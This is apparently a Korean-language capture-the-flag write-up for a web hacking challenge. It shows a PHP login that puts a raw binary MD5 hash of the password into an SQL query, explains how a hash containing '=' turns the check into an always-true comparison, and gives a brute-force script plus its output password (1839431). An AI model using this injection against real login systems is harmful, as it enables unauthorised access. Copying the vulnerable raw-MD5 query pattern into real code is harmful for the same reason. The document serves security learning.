<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
ID는 addslashes 함수로 몇가지 특수 문자가 치환되고, PW는 MD5 해시화가 된다.
그 후, SQL Query에 들어가게 된다.
여러 방법을 모색하던 중 MD5를 이용한 SQL Injection을 발견할 수 있었다.
PHP의 md5 함수 옵션을 보면, True와 False이 있다. 이것은 binary로 출력할건지를 선택하는 옵션이다.
<?php
echo md5("hi", True);
?>
저렇게 알 수 없는 값이 출력이 된다.
이것을 이용하여, 논리적 에러를 이용한 SQL Injection을 시도할 수 있다.
해쉬 값이 dasdsada'='ewqrfqw으로 생성이 되어 PW에 들어가게 된다면, pw='dasdsada'='ewqrfqw'으로 삽입이 된다. 그럼 pw='dasdsada'는 False를 갖게 뒴으로, False='ewqrfqw'로 되는데 False와 같은 값이 아니기 때문에 뒤의 값도 False를 갖게 된다. 즉, False=False가 되기 때문에 결과적으로 True가 된다.
위와 같은 방식으로 진행한다면, admin으로 로그인이 가능할 것이다.
<?php
for($i=1; $i<1000000000000; $i++){
if(strpos(md5($i, True), "'='")){
echo "PW is {$i}\n";
echo "Hash is ".md5($i, True);
break;
}
}
?>
PW is 1839431
Hash is �7���ıA@J�'='��
'='이 포함된 해쉬값을 구하는 코드로 SQL Injection에 사용될 PW값을 구할 수 있었다.